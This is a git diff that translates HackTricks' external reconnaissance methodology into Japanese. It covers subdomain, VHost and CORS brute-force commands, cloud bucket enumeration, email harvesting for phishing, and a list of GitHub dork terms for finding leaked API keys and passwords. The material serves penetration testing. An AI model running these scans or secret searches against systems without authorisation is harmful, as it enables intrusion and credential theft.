puredns resolve adobe.brute --write adobe.valid ``` - -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan. - +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_は、サブドメインのブルートフォースファズツールであり、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わせています。それは、特定の入力データ(カスタマイズされたワードリストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集された情報に基づいてさらに拡張します。 ``` echo www | subzuf facebook.com ``` +### **サブドメインの発見ワークフロー** -### **Subdomain Discovery Workflow** - -Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer: +このブログ記事をチェックしてください。そこでは、**Trickestワークフロー**を使用してドメインからのサブドメインの発見を自動化する方法について書いています。これにより、手動で複数のツールを起動する必要がありません。 {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -### **VHosts / Virtual Hosts** +### **VHosts / 仮想ホスト** -If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**. +サブドメインに属する**1つまたは複数のウェブページを含むIPアドレス**を見つけた場合、そのIP内の他のサブドメインを見つけるために、**OSINTソース**でIP内のドメインを検索するか、**そのIP内のVHostドメイン名をブルートフォースする**ことができます。 #### OSINT -You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**. +[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **や他のAPI**を使用して、いくつかのIP内のVHostを見つけることができます。 -**Brute Force** - -If you suspect that some subdomain can be hidden in a web server you could try to brute force it: +**ブルートフォース** +ウェブサーバーに隠されている可能性のあるいくつかのサブドメインを疑っている場合は、ブルートフォースしてみることができます。 ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -515,133 +435,127 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` - {% hint style="info" %} -With this technique you may even be able to access internal/hidden endpoints. +このテクニックを使えば、内部/非公開のエンドポイントにアクセスすることもできるかもしれません。 {% endhint %} -### **CORS Brute Force** - -Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**. +### **CORSブルートフォース** +時には、有効なドメイン/サブドメインが_**Origin**_ヘッダーに設定されている場合にのみ、ページがヘッダー_**Access-Control-Allow-Origin**_を返すページがあります。このようなシナリオでは、この動作を悪用して、新しい**サブドメイン**を**発見**することができます。 ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` +### **バケットのブルートフォース** -### **Buckets Brute Force** +**サブドメイン**を探している間に、それがどの種類の**バケット**を指しているかを確認し、その場合は[**アクセス許可をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。\ +また、この時点でスコープ内のすべてのドメインを知っているので、[**可能なバケット名をブルートフォースし、アクセス許可をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してみてください。 -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +### **モニタリング** -### **Monitorization** +ドメインの**新しいサブドメイン**が作成されたかどうかを**証明書の透過性ログ**を監視することでモニタリングできます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)を使用してください。 -You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. +### **脆弱性の探索** -### **Looking for vulnerabilities** +[**サブドメインの乗っ取り**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)の可能性をチェックしてください。\ +もし**サブドメイン**が**S3バケット**を指している場合は、[**アクセス許可をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。 -Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +アセットの発見で既に見つかったIPとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)(nmap/masscan/shodanを使用)を実行する必要があります。実行中のサービスによっては、**この本にはそれらを"攻撃"するためのトリックがいくつかあります**。\ +なお、サブドメインがクライアントによって制御されていないIP内にホストされている場合は、スコープ外なので注意してください。 -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +## IP -## IPs +初期のステップで**いくつかのIP範囲、ドメイン、サブドメイン**を見つけたかもしれません。\ +これらの範囲から**すべてのIP**と**ドメイン/サブドメイン(DNSクエリ)**を収集する時が来ました。 -In the initial steps you might have **found some IP ranges, domains and subdomains**.\ -It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).** - -Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +以下の**無料API**のサービスを使用すると、ドメインとサブドメインが使用した**以前のIP**も見つけることができます。これらのIPはクライアントが所有している可能性があります(そして[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つけることができるかもしれません)。 * [**https://securitytrails.com/**](https://securitytrails.com/) -### **Looking for vulnerabilities** +### **脆弱性の探索** -**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**. +CDNに所属していない**すべてのIPにポートスキャン**を実行してください(おそらくそこに興味深いものは見つからないでしょう)。見つかった実行中のサービスには、脆弱性が見つかるかもしれません。 -**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.** +**ホストのスキャン方法についての**[**ガイド**](../pentesting-network/) **を見つけてください。** -## Web servers hunting +## Webサーバーの探索 -> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. +> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを知っています。Webサーバーを検索する時が来ました。 -In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope. +前のステップでおそらく既に**発見したIPとドメインの情報を収集**しているので、おそらく**すべての可能なWebサーバー**を既に見つけているかもしれません。ただし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**高速なトリック**を見ていきます。 -Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). - -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\ -Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports: +これは**Webアプリの発見に特化**しているため、スコープによっては**脆弱性スキャン**と**ポートスキャン**も実行する必要があります(**許可されている場合**)。 +[**masscanを使用してWebサーバーに関連するオープンポートを発見する**高速な方法はこちら](../pentesting-network/#http-port-discovery)です。\ +Webサーバーを検索するためのもう一つの便利なツールは[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)**、**[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80(http)と443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` +### **スクリーンショット** -### **Screenshots** +スコープ内のすべてのウェブサーバー(会社のIPアドレス、ドメイン、サブドメインを含む)を発見したので、おそらくどこから始めればいいかわからないでしょう。だから、簡単にするために、まずはそれらのすべてのスクリーンショットを撮りましょう。メインページを見るだけで、より脆弱性のある奇妙なエンドポイントを見つけることができます。 -Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. +提案されたアイデアを実行するために、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)を使用できます。 -To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべてのスクリーンショットを実行し、脆弱性の可能性のあるものとそうでないものを判断することもできます。 -Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't. +## パブリッククラウドの資産 -## Public Cloud Assets +会社の潜在的なクラウド資産を見つけるためには、その会社を特定するキーワードのリストから始める必要があります。たとえば、暗号通貨会社の場合、"crypto"、"wallet"、"dao"、""、""などの単語を使用することがあります。 -In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "", <"subdomain_names">`. - -You will also need wordlists of **common words used in buckets**: +また、バケットで使用される一般的な単語のワードリストも必要です。 * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info). +それから、それらの単語を使用して**順列**を生成する必要があります(詳細については、[**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round)を参照してください)。 -With the resulting wordlists you could use tools such as [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +生成されたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)、[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)、[**cloudlist**](https://github.com/projectdiscovery/cloudlist)、または[**S3Scanner**](https://github.com/sa7mon/S3Scanner)などのツールを使用できます。 -Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**. +クラウド資産を探すときは、AWSのバケットだけでなく、他のものも探す必要があります。 -### **Looking for vulnerabilities** +### **脆弱性の探索** -If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them. +オープンなバケットや公開されたクラウド関数などのものが見つかった場合は、それらにアクセスして提供されるものや悪用できるかどうかを確認してください。 -## Emails +## メール -With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company: +スコープ内のドメインとサブドメインがあれば、基本的には企業のメールを検索するために必要なものがすべて揃っています。以下は、企業のメールを見つけるために最も効果的だったAPIとツールです。 -* [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs -* API of [**https://hunter.io/**](https://hunter.io/) (free version) -* API of [**https://app.snov.io/**](https://app.snov.io/) (free version) -* API of [**https://minelead.io/**](https://minelead.io/) (free version) +* [**theHarvester**](https://github.com/laramies/theHarvester) - APIを使用 +* [**https://hunter.io/**](https://hunter.io/)のAPI(無料版) +* [**https://app.snov.io/**](https://app.snov.io/)のAPI(無料版) +* [**https://minelead.io/**](https://minelead.io/)のAPI(無料版) -### **Looking for vulnerabilities** +### **脆弱性の探索** -Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign. +メールは、ウェブログインや認証サービス(SSHなど)のブルートフォース攻撃やフィッシングに役立ちます。さらに、これらのAPIは、フィッシングキャンペーンに役立つメールの背後にある人物についてのさらなる情報を提供してくれます。 -## Credential Leaks +## 認証情報の漏洩 -With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails: +ドメイン、サブドメイン、およびメールがあれば、過去に漏洩した認証情報を検索することができます。 * [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://www.dehashed.com/](https://www.dehashed.com/) -### **Looking for vulnerabilities** +### **脆弱性の探索** -If you find **valid leaked** credentials, this is a very easy win. +有効な漏洩した認証情報が見つかった場合、これは非常に簡単な勝利です。 -## Secrets Leaks +## 機密情報の漏洩 -Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases: +認証情報の漏洩は、機密情報が漏洩して売られた企業のハッキングに関連しています。ただし、企業はそのデータベースに含まれていない他の情報の漏洩の影響を受ける可能性もあります。 -### Github Leaks +### Githubの漏洩 -Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\ -You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically. +認証情報やAPIが、会社の公開リポジトリまたはそのgithub会社で働くユーザーの公開リポジトリで漏洩している場合があります。[**Leakos**](https://github.com/carlospolop/Leakos)ツールを使用して、組織とその開発者のすべての公開リポジトリをダウンロードし、自動的に[**gitleaks**](https://github.com/zricethezav/gitleaks)を実行することができます。 -**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**. +**Leakos**は、URLが提供されたテキスト全体に対して**gitleaks**を実行するためにも使用できます。 #### Github Dorks -Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking: +攻撃対象の組織で検索することもできる潜在的な**github dorks**については、次の**ページ**も参照してください。 {% content-ref url="github-leaked-secrets.md" %} [github-leaked-secrets.md](github-leaked-secrets.md) @@ -649,70 +563,68 @@ Check also this **page** for potential **github dorks** you could also search fo ### Pastes Leaks -Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\ -You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time. +攻撃者または作業者が企業のコンテンツをペーストサイトに公開することがあります。これには**機密情報**が含まれている場合もあります。[**Pastos**](https://github.com/carlospolop/Pastos)ツールを使用して、80以上のペーストサイトで一度に検索することができます。 ### Google Dorks -Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them all**. +古くても有用なGoogle Dorksは、そこにあってはならない**公開情報**を見つけるのに常に役立ちます。ただし、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれているため、手動で実行することはできません。お気に入りの10個を選ぶか、[**Gorks**](https://github.com/carlospolop/Gorks)などのツールを使用してすべて実行することができます。 -_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._ +_データベース全体を通常のGoogleブラウザを使用して実行することを期待するツールは、Googleが非常にすぐにブロックするため、終了しないでしょう。_ +### **脆弱性の探索** -### **Looking for vulnerabilities** +もし**有効な漏洩した**資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。 -If you find **valid leaked** credentials or API tokens, this is a very easy win. +## 公開コードの脆弱性 -## Public Code Vulnerabilities +もし会社が**オープンソースのコード**を持っていることがわかった場合、それを**分析**して脆弱性を探すことができます。 -If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it. - -**Depending on the language** there are different **tools** you can use: +**言語によって異なるツール**を使用することができます: {% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %} [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) {% endcontent-ref %} -There are also free services that allow you to **scan public repositories**, such as: +また、以下のような無料のサービスを使用して**公開リポジトリをスキャン**することもできます: * [**Snyk**](https://app.snyk.io/) -## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) +## [**Webペンテスト方法論**](../../network-services-pentesting/pentesting-web/) -The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/). +バグハンターが見つける**脆弱性の大部分**は、**Webアプリケーション**内に存在しているため、この段階で**Webアプリケーションのテスト方法論**について説明したいと思います。詳細は[**こちらで見つけることができます**](../../network-services-pentesting/pentesting-web/)。 -I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.** +また、[**Web自動スキャナのオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)にも特別な言及をしたいと思います。非常に重要な脆弱性を見つけることは期待できませんが、初期のWeb情報を取得するためのワークフローに役立ちます。 -## Recapitulation +## 総括 -> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later). +> おめでとうございます!この時点で、すでに**基本的な列挙**を実行しました。はい、基本的な列挙です。さらに多くの列挙ができます(後でさらなるトリックを見ることができます)。 -So you have already: +したがって、すでに以下を行いました: -1. Found all the **companies** inside the scope -2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope) -3. Found all the **domains** belonging to the companies -4. Found all the **subdomains** of the domains (any subdomain takeover?) -5. Found all the **IPs** (from and **not from CDNs**) inside the scope. -6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -7. Found all the **potential public cloud assets** belonging to the company. -8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**. -9. **Pentesting all the webs you found** +1. スコープ内の**すべての会社**を見つけました。 +2. 会社に所属する**すべての資産**を見つけました(スコープ内で脆弱性スキャンも実行しました)。 +3. 会社に所属する**すべてのドメイン**を見つけました。 +4. ドメインの**すべてのサブドメイン**を見つけました(サブドメインの乗っ取りはありましたか?)。 +5. スコープ内の**CDNを使用しないIP**をすべて見つけました。 +6. **Webサーバー**をすべて見つけ、それらの**スクリーンショット**を撮りました(深く調べる価値のある奇妙なものはありましたか?)。 +7. 会社に所属する**潜在的なパブリッククラウドの資産**をすべて見つけました。 +8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**を見つけました。これらは**非常に簡単に大きな勝利**をもたらす可能性があります。 +9. 見つけたすべてのWebを**ペンテスト**しました。 -## **Full Recon Automatic Tools** +## **完全な自動リコンツール** -There are several tools out there that will perform part of the proposed actions against a given scope. +与えられたスコープに対して提案されたアクションの一部を実行するいくつかのツールが存在します。 * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) * [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated +* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 少し古く、更新されていません -## **References** +## **参考文献** -* **All free courses of** [**@Jhaddix**](https://twitter.com/Jhaddix) **(like** [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)**)** +* [**@Jhaddix**](https://twitter.com/Jhaddix)の**すべての無料コース**([**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)など) \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**である**Intigriti**に**登録**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報奨金を獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -720,10 +632,10 @@ There are several tools out there that will perform part of the proposed actions ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksであなたの会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**。 diff --git a/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index bd20d4b8d..f5ba7f517 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -1,25 +1,25 @@ -# Github Dorks & Leaks +# GithubのDorksとリーク
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するために、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. +さて、スコープ内のアセットのリストを作成したので、いくつかのOSINTの低ハンギングフルーツを検索する時が来ました。 -### Api keys leaks in github +### GithubでのAPIキーのリーク * [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) * [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) @@ -32,7 +32,6 @@ Now that we have built the list of assets of our scope it's time to search for s * [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ### **Dorks** - ```bash ".mlab.com password" "access_key" @@ -314,15 +313,14 @@ GCP SECRET AWS SECRET "private" extension:pgp ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* 